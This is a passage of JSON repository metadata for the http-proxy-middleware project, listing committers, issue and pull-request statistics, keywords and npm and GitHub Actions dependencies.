700855,"last_synced_at":"2026-07-07T06:27:07.824Z","last_synced_commit":"e60bbc36a6d63a1242e4051e2b6a658851cc3111","created_at":"2023-03-06T22:04:23.790Z","updated_at":"2026-07-07T06:24:56.005Z","committers":[{"name":"chimurai","email":"655241+chimurai","login":"chimurai","count":531},{"name":"Steven Chim","email":"steven.chim@incentro.com","login":null,"count":4},{"name":"dependabot[bot]","email":"49699333+dependabot[bot]","login":"dependabot[bot]","count":3},{"name":"Leonardo Bazico","email":"leonardobazico@gmail.com","login":"leonardobazico","count":3},{"name":"Bogdan Chadkin","email":"trysound@yandex.ru","login":"TrySound","count":2},{"name":"Ben Newman","email":"benjaminjnewman@gmail.com","login":"bjnewman","count":2},{"name":"Radu Serbanescu","email":"radu.serbanescu@webdesignhome.ro","login":null,"count":2},{"name":"Duncan Lock","email":"duncan.lock@gmail.com","login":"dflock","count":1},{"name":"Debargha Saha","email":"104021732+DEBargha2004","login":"DEBargha2004","count":1},{"name":"Dylan Greene","email":"dylang@gmail.com","login":"dylang","count":1},{"name":"Florian Sesser","email":"florian.sesser@web.de","login":"hacklschorsch","count":1},{"name":"Galipelli Sai Mallikarjun","email":"106309863+Mallikarjun-0","login":"Mallikarjun-0","count":1},{"name":"Gustav Tiger","email":"gustav@tiger.name","login":"Tigge","count":1},{"name":"Howie Zhao","email":"howiezhaohr@hotmail.com","login":"howiezhao","count":1},{"name":"Kevin He","email":"kevin.he@salesforce.com","login":"kevinxh","count":1},{"name":"圣痕","email":"sunduo3195@qq.com","login":"JS-mark","count":1},{"name":"Aaron Knudtson","email":"87577305+knudtty","login":"knudtty","count":1},{"name":"Alexander Remishevsky","email":"32752187+aremishevsky","login":"aremishevsky","count":1},{"name":"All-less","email":"All-less","login":"All-less","count":1},{"name":"BRAMILLE Sébastien","email":"2752200+oktapodia","login":"oktapodia","count":1},{"name":"BaNgan","email":"bangank36@gmail.com","login":"bangank36","count":1},{"name":"C R","email":"50278519+crooruhe","login":"crooruhe","count":1},{"name":"Chris Midgley","email":"midgleyc@gmail.com","login":"midgleyc","count":1},{"name":"Liran","email":"liranbri@gmail.com","login":"LiranBri","count":1},{"name":"ex4w4","email":"steven.chim@klm.com","login":null,"count":1},{"name":"Christopher Martin","email":"chris.martin@eventday.com","login":null,"count":1},{"name":"David Meir-Levy","email":"davidmeirlevy@gmail.com","login":"davidmeirlevy","count":1},{"name":"sunnylqm","email":"sunnylqm@qq.com","login":"sunnylqm","count":1},{"name":"pstephan9","email":"pstephan@gmail.com","login":"pstephan9","count":1},{"name":"mariuspopaadrian","email":"73498773+mariuspopaadrian","login":"mariuspopaadrian","count":1},{"name":"maple","email":"kirby741852963@gmail.com","login":"maple3142","count":1},{"name":"klimashkin","email":"klimashkin@gmail.com","login":"klimashkin","count":1},{"name":"jeff","email":"oufeng739976719@163.com","login":"oufeng","count":1},{"name":"cloudmu","email":"cloudmu","login":"cloudmu","count":1},{"name":"bforbis","email":"bpforbis@gmail.com","login":"bforbis","count":1},{"name":"Warren Flack","email":"warren@theflacks.us","login":"flackenstein","count":1},{"name":"Thomas Grainger","email":"tagrain@gmail.com","login":"graingert","count":1},{"name":"Sukka","email":"github@skk.moe","login":"SukkaW","count":1},{"name":"Stefan Wright","email":"stefanwright1988@gmail.com","login":"stefanwright1988","count":1},{"name":"Sorin Davidoi","email":"sorin.davidoi@protonmail.com","login":"sorin-davidoi","count":1},{"name":"Seth Carter","email":"rsethc@gmail.com","login":"rsethc","count":1},{"name":"Robb Traister","email":"robb.traister@gmail.com","login":"robbtraister","count":1},{"name":"Rayan Salhab","email":"r.salhab@aiyexpertsolutions.com","login":"cyphercodes","count":1},{"name":"Nico Gallinal","email":"nicoabie@gmail.com","login":"nicoabie","count":1},{"name":"Nathan Sarang-Walters","email":"nwalters512@gmail.com","login":"nwalters512","count":1},{"name":"Mаартен - Maarten","email":"maarten@oudenniel.nl","login":"maapteh","count":1},{"name":"Mike McGranahan","email":"mike@mcgwiz.com","login":"mcgwiz","count":1},{"name":"Michael Tazelaar","email":"michael.tazelaar@fmr.com","login":"michaelTazelaar","count":1},{"name":"Marc Hassan","email":"marc.j.hassan@gmail.com","login":"mhassan1","count":1},{"name":"Maikel van Dort","email":"11695769+Netail","login":"Netail","count":1},{"name":"Luca Paolini","email":"lookap@gmail.com","login":"lpaolini","count":1},{"name":"17hz","email":"0x149527@gmail.com","login":"17hz","count":1}],"past_year_committers":[{"name":"Steven Chim","email":"655241+chimurai","login":"chimurai","count":107},{"name":"Ben Newman","email":"benjaminjnewman@gmail.com","login":"bjnewman","count":2},{"name":"Sukka","email":"github@skk.moe","login":"SukkaW","count":1},{"name":"Robb Traister","email":"robb.traister@gmail.com","login":"robbtraister","count":1},{"name":"Rayan Salhab","email":"r.salhab@aiyexpertsolutions.com","login":"cyphercodes","count":1},{"name":"Nico Gallinal","email":"nicoabie@gmail.com","login":"nicoabie","count":1},{"name":"Maikel van Dort","email":"11695769+Netail","login":"Netail","count":1},{"name":"Galipelli Sai Mallikarjun","email":"106309863+Mallikarjun-0","login":"Mallikarjun-0","count":1},{"name":"Florian Sesser","email":"florian.sesser@web.de","login":"hacklschorsch","count":1},{"name":"Debargha Saha","email":"104021732+DEBargha2004","login":"DEBargha2004","count":1}],"commits_url":"https://commits.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/commits","host":{"name":"GitHub","url":"https://github.com","kind":"github","last_synced_at":"2026-07-10T00:00:15.311Z","repositories_count":6295810,"commits_count":863037420,"contributors_count":35212867,"owners_count":1185487,"icon_url":"https://github.com/github.png","host_url":"https://commits.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://commits.ecosyste.ms/api/v1/hosts/GitHub/repositories"}},"issues":{"table":{"full_name":"chimurai/http-proxy-middleware","html_url":"https://github.com/chimurai/http-proxy-middleware","last_synced_at":"2026-07-07T06:21:49.155Z","status":"active","issues_count":164,"pull_requests_count":315,"avg_time_to_close_issue":67767416.6509434,"avg_time_to_close_pull_request":5369889.833935018,"issues_closed_count":106,"pull_requests_closed_count":277,"pull_request_authors_count":48,"issue_authors_count":156,"avg_comments_per_issue":4.7560975609756095,"avg_comments_per_pull_request":1.5714285714285714,"merged_pull_requests_count":229,"bot_issues_count":0,"bot_pull_requests_count":16,"past_year_issues_count":14,"past_year_pull_requests_count":62,"past_year_avg_time_to_close_issue":783703.4,"past_year_avg_time_to_close_pull_request":171836.19607843139,"past_year_issues_closed_count":5,"past_year_pull_requests_closed_count":51,"past_year_pull_request_authors_count":12,"past_year_issue_authors_count":13,"past_year_avg_comments_per_issue":2.2142857142857144,"past_year_avg_comments_per_pull_request":2.4516129032258065,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":49,"created_at":"2023-05-16T15:16:13.734Z","updated_at":"2026-07-07T06:21:49.155Z","repository_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware","issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/issues","issue_labels_count":{"table":{"faq":11,"question":5,"need minimal example":5,"upstream":5,"bug":5,"awaiting response":5,"enhancement":4,"wontfix":4,"help wanted":3,"pr welcome":2,"need minimal reproduction":1,"duplicate":1,"need investigation":1,"need votes":1}},"pull_request_labels_count":{"table":{"dependencies":15,"wontfix":2,"upstream":1,"hacktoberfest-accepted":1}},"issue_author_associations_count":{"table":{"NONE":154,"OWNER":6,"CONTRIBUTOR":4}},"pull_request_author_associations_count":{"table":{"OWNER":225,"NONE":60,"CONTRIBUTOR":30}},"issue_authors":{"table":{"chimurai":6,"h0medev2024":2,"Netail":2,"mburger81":2,"Floriferous":1,"StefanLobbenmeierObjego":1,"brandonculver":1,"xpbsm":1,"PavlenkoXX":1,"kevin-mitchell":1,"bilinxing":1,"yvanlok":1,"shellscape":1,"caritasverein":1,"billmorgan123":1,"xen-HendryZheng":1,"kogovsekmatic":1,"GrantDuan":1,"art-alexeyenko":1,"siikasmaa":1,"AllanJard":1,"hotsummmer":1,"swapnil-bhalekar":1,"bitterpanda63":1,"mylnikovD":1,"NiccsJ":1,"hpl002":1,"ghost":1,"pawelszczerbicki":1,"Navino16":1,"w0aw":1,"twinkle77":1,"alanhg":1,"tapz":1,"zychj1":1,"johanbook":1,"jeremyrajan":1,"Juansasa":1,"lbeschastny":1,"ftes":1,"exander77":1,"justinpenguin45":1,"marekachilles":1,"dantiel":1,"nicoabie":1,"G-Rath":1,"JuanmaMenendez":1,"yxw9527":1,"atif-saddique-deel":1,"Costiss":1,"Aniket-lodh":1,"benjsmi":1,"mnadeem":1,"sheiy":1,"muhsinkamil":1,"dejewi":1,"mhassan1":1,"cdisk":1,"mattbaileyuk":1,"tonygentilcore":1,"dirk-ecker":1,"pszer666":1,"pascalverlinden":1,"shyamprasadc":1,"TheJaredWilcurt":1,"Biech95":1,"marinescudan":1,"kqdjacky":1,"sberney":1,"fishuke":1,"j4nos":1,"wangduanduan":1,"nickwesselman":1,"gajus":1,"nightboyC":1,"Sailwayfun":1,"leveneg":1,"voronianski":1,"alirezavlz":1,"s100":1,"bjohansebas":1,"nwalters512":1,"krassowski":1,"joshiste":1,"masx200":1,"jonaseicher":1,"glenjamin":1,"li-2021":1,"DylanPiercey":1,"patrickelectric":1,"coupster74":1,"Zetanova":1,"GiuliaBusnelli":1,"abhishek73magar":1,"oklemenz2":1,"whatwewant":1,"georgyfarniev":1,"desytech":1,"KozyWorks":1,"curotisrHebeccaG":1,"JPaulMora":1,"xTCry":1,"marchuffnagle":1,"prajwalkshetty":1,"axolo":1,"mcFrax":1,"jcollum-nutrien":1,"jaythakor-ai":1,"ozyman42":1,"ryanelian":1,"cupuyc":1,"ldej":1,"Zabrane":1,"ShanArosh":1,"didiaoshengjianbao":1,"omarmhamza":1,"connelhooley":1,"TheNicolasDeveloper":1,"davidmeirlevy":1,"samithaf":1,"bduffany":1,"satanshiro":1,"heby281":1,"stephenliu1944":1,"knudtty":1,"SaiSingamsetty":1,"thetayloredman":1,"leonardo3dp":1,"vadi2":1,"elawad":1,"phatify":1,"tobiw777":1,"Nerdsie":1,"minhduchcm":1,"pwlerke":1,"Megale":1,"TinyStorm":1,"nanepallysaikumar":1,"victorbucutea":1,"TrevorBurnham":1,"TomaszG":1,"whatisthis-dot":1,"jpsla94":1,"hayzamjs":1,"quicklearning123":1,"jetibest":1,"VadBary":1,"djleonskennedy":1,"c0debreaker":1,"dobesv":1,"etrom":1,"Smolya":1,"shaaridev":1,"raeesaa":1,"mezuqu":1,"Aiosa":1}},"pull_request_authors":{"table":{"chimurai":225,"dependabot[bot]":15,"fuckoff2045":6,"JS-mark":4,"whatisthis-dot":4,"Mallikarjun-0":3,"omarmhamza":2,"mcgwiz":2,"oktapodia":2,"lpaolini":2,"jsjoeio":2,"antiBaconMachine":2,"17hz":2,"nwalters512":2,"TomaszG":2,"udaykiranravva123":2,"knudtty":2,"gauravpant1306":2,"desfun":2,"Plevi1337":2,"howiezhao":2,"crooruhe":2,"asvae":1,"AdoKevin":1,"robbtraister":1,"MegaManSec":1,"midgleyc":1,"lovelgw":1,"G-Rath":1,"IORazutkin":1,"yushihang":1,"dandv":1,"smiles2424":1,"SukkaW":1,"fozcode":1,"aswmac":1,"lgtm-com[bot]":1,"bangank36":1,"ziboilihua":1,"bteixeira":1,"pstephan9":1,"ggondim":1,"Netail":1,"hacklschorsch":1,"bjohansebas":1,"DEBargha2004":1,"twhtanghk":1,"xen-HendryZheng":1}},"host":{"table":{"name":"GitHub","url":"https://github.com","kind":"github","last_synced_at":"2026-07-10T00:00:21.713Z","repositories_count":14863413,"issues_count":32289703,"pull_requests_count":106166470,"authors_count":11340826,"icon_url":"https://github.com/github.png","host_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories","owners_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/owners","authors_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors"}},"past_year_issue_labels_count":{"table":{"bug":1,"faq":1,"help wanted":1,"pr welcome":1}},"past_year_pull_request_labels_count":{"table":{}},"past_year_issue_author_associations_count":{"table":{"NONE":12,"OWNER":2}},"past_year_pull_request_author_associations_count":{"table":{"OWNER":51,"NONE":8,"CONTRIBUTOR":3}},"past_year_issue_authors":{"table":{"chimurai":2,"Biech95":1,"billmorgan123":1,"bjohansebas":1,"Floriferous":1,"G-Rath":1,"jpsla94":1,"krassowski":1,"muhsinkamil":1,"Netail":1,"nicoabie":1,"StefanLobbenmeierObjego":1,"tobiw777":1}},"past_year_pull_request_authors":{"table":{"chimurai":51,"aswmac":1,"bjohansebas":1,"DEBargha2004":1,"fozcode":1,"G-Rath":1,"hacklschorsch":1,"Mallikarjun-0":1,"MegaManSec":1,"Netail":1,"robbtraister":1,"SukkaW":1}},"maintainers":[{"table":{"login":"chimurai","count":231,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/chimurai"}}],"active_maintainers":[{"table":{"login":"chimurai","count":53,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/chimurai"}}]}},"events":null,"keywords":["browser-sync","connect","express","fastify","hono","http-proxy","httpxy","javascript","middleware","nextjs","node","nodejs","polka","proxy","proxy-middleware","websocket"],"dependencies":[{"ecosystem":"actions","filepath":".github/workflows/ci.yml","sha":null,"kind":"manifest","created_at":"2024-01-29T07:26:24.674Z","updated_at":"2024-01-29T07:26:24.674Z","repository_link":"https://github.com/chimurai/http-proxy-middleware/blob/master/.github/workflows/ci.yml","dependencies":[{"id":15893743524,"package_name":"actions/checkout","ecosystem":"actions","requirements":"v4","direct":true,"kind":"composite","optional":false},{"id":15893743525,"package_name":"actions/setup-node","ecosystem":"actions","requirements":"v4","direct":true,"kind":"composite","optional":false},{"id":15893743526,"package_name":"actions/cache","ecosystem":"actions","requirements":"v3","direct":true,"kind":"composite","optional":false},{"id":15893743527,"package_name":"coverallsapp/github-action","ecosystem":"actions","requirements":"master","direct":true,"kind":"composite","optional":false},{"id":15893743542,"package_name":"streetsidesoftware/cspell-action","ecosystem":"actions","requirements":"v2","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"npm","filepath":"package.json","sha":null,"kind":"manifest","created_at":"2024-01-29T07:26:25.521Z","updated_at":"2024-01-29T07:26:25.521Z","repository_link":"https://github.com/chimurai/http-proxy-middleware/blob/master/package.json","dependencies":[{"id":15893743562,"package_name":"@types/http-proxy","ecosystem":"npm","requirements":"^1.17.10","direct":true,"kind":"runtime","optional":false},{"id":15893743563,"package_name":"debug","ecosystem":"npm","requirements":"^4.3.4","direct":true,"kind":"runtime","optional":false},{"id":15893743564,"package_name":"http-proxy","ecosystem":"npm","requirements":"^1.18.1","direct":true,"kind":"runtime","optional":false},{"id":15893743565,"package_name":"is-glob","ecosystem":"npm","requirements":"^4.0.1","direct":true,"kind":"runtime","optional":false},{"id":15893743566,"package_name":"is-plain-obj","ecosystem":"npm","requirements":"^3.0.0","direct":true,"kind":"runtime","optional":false},{"id":15893743567,"package_name":"micromatch","ecosystem":"npm","requirements":"^4.0.5","direct":true,"kind":"runtime","optional":false},{"id":15893743568,"package_name":"@commitlint/cli","ecosystem":"npm","requirements":"17.7.1","direct":true,"kind":"development","optional":false},{"id":15893743569,"package_name":"@commitlint/config-conventional","ecosystem":"npm","requirements":"17.7.0","direct":true,"kind":"development","optional":false},{"id":15893743570,"package_name":"@types/debug","ecosystem":"npm","requirements":"4.1.8","direct":true,"kind":"development","optional":false},{"id":15893743571,"package_name":"@types/express","ecosystem":"npm","requirements":"4.17.17","direct":true,"kind":"development","optional":false},{"id":15893743572,"package_name":"@types/is-glob","ecosystem":"npm","requirements":"4.0.2","direct":true,"kind":"development","optional":false},{"id":15893743573,"package_name":"@types/jest","ecosystem":"npm","requirements":"29.5.4","direct":true,"kind":"development","optional":false},{"id":15893743574,"package_name":"@types/micromatch","ecosystem":"npm","requirements":"4.0.2","direct":true,"kind":"development","optional":false},{"id":15893743575,"package_name":"@types/node","ecosystem":"npm","requirements":"20.5.9","direct":true,"kind":"development","optional":false},{"id":15893743576,"package_name":"@types/supertest","ecosystem":"npm","requirements":"2.0.12","direct":true,"kind":"development","optional":false},{"id":15893743577,"package_name":"@types/ws","ecosystem":"npm","requirements":"8.5.5","direct":true,"kind":"development","optional":false},{"id":15893743578,"package_name":"@typescript-eslint/eslint-plugin","ecosystem":"npm","requirements":"6.5.0","direct":true,"kind":"development","optional":false},{"id":15893743579,"package_name":"@typescript-eslint/parser","ecosystem":"npm","requirements":"6.5.0","direct":true,"kind":"development","optional":false},{"id":15893743580,"package_name":"body-parser","ecosystem":"npm","requirements":"1.20.2","direct":true,"kind":"development","optional":false},{"id":15893743581,"package_name":"browser-sync","ecosystem":"npm","requirements":"2.29.3","direct":true,"kind":"development","optional":false},{"id":15893743582,"package_name":"connect","ecosystem":"npm","requirements":"3.7.0","direct":true,"kind":"development","optional":false},{"id":15893743583,"package_name":"eslint","ecosystem":"npm","requirements":"8.48.0","direct":true,"kind":"development","optional":false},{"id":15893743584,"package_name":"eslint-config-prettier","ecosystem":"npm","requirements":"9.0.0","direct":true,"kind":"development","optional":false},{"id":15893743585,"package_name":"eslint-plugin-prettier","ecosystem":"npm","requirements":"5.0.0","direct":true,"kind":"development","optional":false},{"id":15893743586,"package_name":"express","ecosystem":"npm","requirements":"4.18.2","direct":true,"kind":"development","optional":false},{"id":15893743587,"package_name":"get-port","ecosystem":"npm","requirements":"5.1.1","direct":true,"kind":"development","optional":false},{"id":15893743588,"package_name":"husky","ecosystem":"npm","requirements":"8.0.3","direct":true,"kind":"development","optional":false},{"id":15893743589,"package_name":"jest","ecosystem":"npm","requirements":"29.6.4","direct":true,"kind":"development","optional":false},{"id":15893743590,"package_name":"lint-staged","ecosystem":"npm","requirements":"14.0.1","direct":true,"kind":"development","optional":false},{"id":15893743591,"package_name":"mockttp","ecosystem":"npm","requirements":"3.9.2","direct":true,"kind":"development","optional":false},{"id":15893743592,"package_name":"open","ecosystem":"npm","requirements":"8.4.2","direct":true,"kind":"development","optional":false},{"id":15893743593,"package_name":"prettier","ecosystem":"npm","requirements":"3.0.3","direct":true,"kind":"development","optional":false},{"id":15893743594,"package_name":"supertest","ecosystem":"npm","requirements":"6.3.3","direct":true,"kind":"development","optional":false},{"id":15893743595,"package_name":"ts-jest","ecosystem":"npm","requirements":"29.1.1","direct":true,"kind":"development","optional":false},{"id":15893743596,"package_name":"typescript","ecosystem":"npm","requirements":"5.2.2","direct":true,"kind":"development","optional":false},{"id":15893743597,"package_name":"ws","ecosystem":"npm","requirements":"8.13.0","direct":true,"kind":"development","optional":false}]},{"ecosystem":"npm","filepath":"yarn.lock","sha":null,"kind":"lockfile","created_at":"2024-01-29T07:26:25.591Z","updated_at":"2024-01-29T07:26:25.591Z","repository_link":"https://github.com/chimurai/http-proxy-middleware/blob/master/yarn.lock","dependencies":[{"id":15893743600,"package_name":"@aashutoshrathi/word-wrap","ecosystem":"npm","requirements":"1.2.6","direct":false,"kind":"runtime","optional":false},{"id":15893743601,"package_name":"@ampproject/remapping","ecosystem":"npm","requirements":"2.2.1","direct":false,"kind":"runtime","optional":false},{"id":15893743602,"package_name":"@babel/code-frame","ecosystem":"npm","requirements":"7.22.13","direct":false,"kind":"runtime","optional":false},{"id":15893743603,"package_name":"@babel/compat-data","ecosystem":"npm","requirements":"7.22.9","direct":false,"kind":"runtime","optional":false},{"id":15893743604,"package_name":"@babel/core","ecosystem":"npm","requirements":"7.22.11","direct":false,"kind":"runtime","optional":false},{"id":15893743605,"package_name":"@babel/generator","ecosystem":"npm","requirements":"7.22.10","direct":false,"kind":"runtime","optional":false},{"id":15893743606,"package_name":"@babel/helper-compilation-targets","ecosystem":"npm","requirements":"7.22.10","direct":false,"kind":"runtime","optional":false},{"id":15893743607,"package_name":"@babel/helper-environment-visitor","ecosystem":"npm","requirements":"7.22.5","direct":false,"kind":"runtime","optional":false},{"id":15893743608,"package_name":"@babel/helper-function-name","ecosystem":"npm","requirements":"7.22.5","direct":false,"kind":"runtime","optional":false},{"id":15893743609,"package_name":"@babel/helper-hoist-variables","ecosystem":"npm","requirements":"7.22.5","direct":false,"kind":"runtime","optional":false},{"id":15893743610,"package_name":"@babel/helper-module-imports","ecosystem":"npm","requirements":"7.22.5","direct":false,"kind":"runtime","optional":false},{"id":15893743611,"package_name":"@babel/helper-module-transforms","ecosystem":"npm","requirements":"7.22.9","direct":false,"kind":"runtime","optional":false},{"id":15893743612,"package_name":"@babel/helper-plugin-utils","ecosystem":"npm","requirements":"7.22.5","direct":false,"kind":"runtime","optional":false},{"id":15893743613,"package_name":"@babel/helper-simple-access","ecosystem":"npm","requirements":"7.22.5","direct":false,"kind":"runtime","optional":false},{"id":15893743614,"package_name":"@babel/helper-split-export-declaration","ecosystem":"npm","requirements":"7.22.6","direct":false,"kind":"runtime","optional":false},{"id":15893743615,"package_name":"@babel/helper-string-parser","ecosystem":"npm","requirements":"7.22.5","direct":false,"kind":"runtime","optional":false},{"id":15893743616,"package_name":"@babel/helper-validator-identifier","ecosystem":"npm","requirements":"7.22.5","direct":false,"kind":"runtime","optional":false},{"id":15893743617,"package_name":"@babel/helper-validator-option","ecosystem":"npm","requirements":"7.22.5","direct":false,"kind":"runtime","optional":false},{"id":15893743618,"package_name":"@babel/helpers","ecosystem":"npm","requirements":"7.22.11","direct":false,"kind":"runtime","optional":false},{"id":15893743619,"package_name":"@babel/highlight","ecosystem":"npm","requirements":"7.22.13","direct":false,"kind":"runtime","optional":false},{"id":15893743620,"package_name":"@babel/parser","ecosystem":"npm","requirements":"7.22.14","direct":false,"kind":"runtime","optional":false},{"id":15893743621,"package_name":"@babel/plugin-syntax-async-generators","ecosystem":"npm","requirements":"7.8.4","direct":false,"kind":"runtime","optional":false},{"id":15893743622,"package_name":"@babel/plugin-syntax-bigint","ecosystem":"npm","requirements":"7.8.3","direct":false,"kind":"runtime","optional":false},{"id":15893743623,"package_name":"@babel/plugin-syntax-class-properties","ecosystem":"npm","requirements":"7.12.13","direct":false,"kind":"runtime","optional":false},{"id":15893743624,"package_name":"@babel/plugin-syntax-import-meta","ecosystem":"npm","requirements":"7.10.4","direct":false,"kind":"runtime","optional":false},{"id":15893743625,"package_name":"@babel/plugin-syntax-json-strings","ecosystem":"npm","requirements":"7.8.3","direct":false,"kind":"runtime","optional":false},{"id":15893743626,"package_name":"@babel/plugin-syntax-jsx","ecosystem":"npm","requirements":"7.22.5","direct":false,"kind":"runtime","optional":false},{"id":15893743627,"package_name":"@babel/plugin-syntax-logical-assignment-operators","ecosystem":"npm","requirements":"7.10.4","direct":false,"kind":"runtime","optional":false},{"id":15893743628,"package_name":"@babel/plugin-syntax-nullish-coalescing-operator","ecosystem":"npm","requirements":"7.8.3","direct":false,"kind":"runtime","optional":false},{"id":15893743629,"package_name":"@babel/plugin-syntax-numeric-separator","ecosystem":"npm","requirements":"7.10.4","direct":false,"kind":"runtime","optional":false},{"id":15893743630,"package_name":"@babel/plugin-syntax-object-rest-spread","ecosystem":"npm","requirements":"7.8.3","direct":false,"kind":"runtime","optional":false},{"id":15893743631,"package_name":"@babel/plugin-syntax-optional-catch-binding","ecosystem":"npm","requirements":"7.8.3","direct":false,"kind":"runtime","optional":false},{"id":15893743632,"package_name":"@babel/plugin-syntax-optional-chaining","ecosystem":"npm","requirements":"7.8.3","direct":false,"kind":"runtime","optional":false},{"id":15893743633,"package_name":"@babel/plugin-syntax-top-level-await","ecosystem":"npm","requirements":"7.14.5","direct":false,"kind":"runtime","optional":false},{"id":15893743634,"package_name":"@babel/plugin-syntax-typescript","ecosystem":"npm","requirements":"7.22.5","direct":false,"kind":"runtime","optional":false},{"id":15893743635,"package_name":"@babel/template","ecosystem":"npm","requirements":"7.22.5","direct":false,"kind":"runtime","optional":false},{"id":15893743636,"package_name":"@babel/traverse","ecosystem":"npm","requirements":"7.22.11","direct":false,"kind":"runtime","optional":false},{"id":15893743637,"package_name":"@babel/types","ecosystem":"npm","requirements":"7.22.11","direct":false,"kind":"runtime","optional":false},{"id":15893743638,"package_name":"@bcoe/v8-coverage","ecosystem":"npm","requirements":"0.2.3","direct":false,"kind":"runtime","optional":false},{"id":15893743639,"package_name":"@commitlint/cli","ecosystem":"npm","requirements":"17.7.1","direct":false,"kind":"runtime","optional":false},{"id":15893743640,"package_name":"@commitlint/config-conventional","ecosystem":"npm","requirements":"17.7.0","direct":false,"kind":"runtime","optional":false},{"id":15893743641,"package_name":"@commitlint/config-validator","ecosystem":"npm","requirements":"17.6.7","direct":false,"kind":"runtime","optional":false},{"id":15893743642,"package_name":"@commitlint/ensure","ecosystem":"npm","requirements":"17.6.7","direct":false,"kind":"runtime","optional":false},{"id":15893743643,"package_name":"@commitlint/execute-rule","ecosystem":"npm","requirements":"17.4.0","direct":false,"kind":"runtime","optional":false},{"id":15893743644,"package_name":"@commitlint/format","ecosystem":"npm","requirements":"17.4.4","direct":false,"kind":"runtime","optional":false},{"id":15893743645,"package_name":"@commitlint/is-ignored","ecosystem":"npm","requirements":"17.7.0","direct":false,"kind":"runtime","optional":false},{"id":15893743646,"package_name":"@commitlint/lint","ecosystem":"npm","requirements":"17.7.0","direct":false,"kind":"runtime","optional":false},{"id":15893743647,"package_name":"@commitlint/load","ecosystem":"npm","requirements":"17.7.1","direct":false,"kind":"runtime","optional":false},{"id":15893743648,"package_name":"@commitlint/message","ecosystem":"npm","requirements":"17.4.2","direct":false,"kind":"runtime","optional":false},{"id":15893743649,"package_name":"@commitlint/parse","ecosystem":"npm","requirements":"17.7.0","direct":false,"kind":"runtime","optional":false},{"id":15893743650,"package_name":"@commitlint/read","ecosystem":"npm","requirements":"17.5.1","direct":false,"kind":"runtime","optional":false},{"id":15893743651,"package_name":"@commitlint/resolve-extends","ecosystem":"npm","requirements":"17.6.7","direct":false,"kind":"runtime","optional":false},{"id":15893743652,"package_name":"@commitlint/rules","ecosystem":"npm","requirements":"17.7.0","direct":false,"kind":"runtime","optional":false},{"id":15893743653,"package_name":"@commitlint/to-lines","ecosystem":"npm","requirements":"17.4.0","direct":false,"kind":"runtime","optional":false},{"id":15893743654,"package_name":"@commitlint/top-level","ecosystem":"npm","requirements":"17.4.0","direct":false,"kind":"runtime","optional":false},{"id":15893743655,"package_name":"@commitlint/types","ecosystem":"npm","requirements":"17.4.4","direct":false,"kind":"runtime","optional":false},{"id":15893743656,"package_name":"@cspotcode/source-map-support","ecosystem":"npm","requirements":"0.8.1","direct":false,"kind":"runtime","optional":false},{"id":15893743657,"package_name":"@eslint-community/eslint-utils","ecosystem":"npm","requirements":"4.4.0","direct":false,"kind":"runtime","optional":false},{"id":15893743658,"package_name":"@eslint-community/regexpp","ecosystem":"npm","requirements":"4.8.0","direct":false,"kind":"runtime","optional":false},{"id":15893743659,"package_name":"@eslint/eslintrc","ecosystem":"npm","requirements":"2.1.2","direct":false,"kind":"runtime","optional":false},{"id":15893743660,"package_name":"@eslint/js","ecosystem":"npm","requirements":"8.48.0","direct":false,"kind":"runtime","optional":false},{"id":15893743661,"package_name":"@graphql-tools/merge","ecosystem":"npm","requirements":"8.3.1","direct":false,"kind":"runtime","optional":false},{"id":15893743662,"package_name":"@graphql-tools/schema","ecosystem":"npm","requirements":"8.5.1","direct":false,"kind":"runtime","optional":false},{"id":15893743663,"package_name":"@graphql-tools/utils","ecosystem":"npm","requirements":"8.9.0","direct":false,"kind":"runtime","optional":false},{"id":15893743664,"package_name":"@graphql-tools/utils","ecosystem":"npm","requirements":"8.13.1","direct":false,"kind":"runtime","optional":false},{"id":15893743665,"package_name":"@httptoolkit/httpolyglot","ecosystem":"npm","requirements":"2.1.1","direct":false,"kind":"runtime","optional":false},{"id":15893743713,"package_name":"@httptoolkit/subscriptions-transport-ws","ecosystem":"npm","requirements":"0.11.2","direct":false,"kind":"runtime","optional":false},{"id":15893743714,"package_name":"@httptoolkit/websocket-stream","ecosystem":"npm","requirements":"6.0.1","direct":false,"kind":"runtime","optional":false},{"id":15893743715,"package_name":"@humanwhocodes/config-array","ecosystem":"npm","requirements":"0.11.11","direct":false,"kind":"runtime","optional":false},{"id":15893743716,"package_name":"@humanwhocodes/module-importer","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"runtime","optional":false},{"id":15893743717,"package_name":"@humanwhocodes/object-schema","ecosystem":"npm","requirements":"1.2.1","direct":false,"kind":"runtime","optional":false},{"id":15893743718,"package_name":"@istanbuljs/load-nyc-config","ecosystem":"npm","requirements":"1.1.0","direct":false,"kind":"runtime","optional":false},{"id":15893743719,"package_name":"@istanbuljs/schema","ecosystem":"npm","requirements":"0.1.3","direct":false,"kind":"runtime","optional":false},{"id":15893743720,"package_name":"@jest/console","ecosystem":"npm","requirements":"29.6.4","direct":false,"kind":"runtime","optional":false},{"id":15893743721,"package_name":"@jest/core","ecosystem":"npm","requirements":"29.6.4","direct":false,"kind":"runtime","optional":false},{"id":15893743722,"package_name":"@jest/environment","ecosystem":"npm","requirements":"29.6.4","direct":false,"kind":"runtime","optional":false},{"id":15893743723,"package_name":"@jest/expect-utils","ecosystem":"npm","requirements":"29.6.4","direct":false,"kind":"runtime","optional":false},{"id":15893743724,"package_name":"@jest/expect","ecosystem":"npm","requirements":"29.6.4","direct":false,"kind":"runtime","optional":false},{"id":15893743725,"package_name":"@jest/fake-timers","ecosystem":"npm","requirements":"29.6.4","direct":false,"kind":"runtime","optional":false},{"id":15893743726,"package_name":"@jest/globals","ecosystem":"npm","requirements":"29.6.4","direct":false,"kind":"runtime","optional":false},{"id":15893743727,"package_name":"@jest/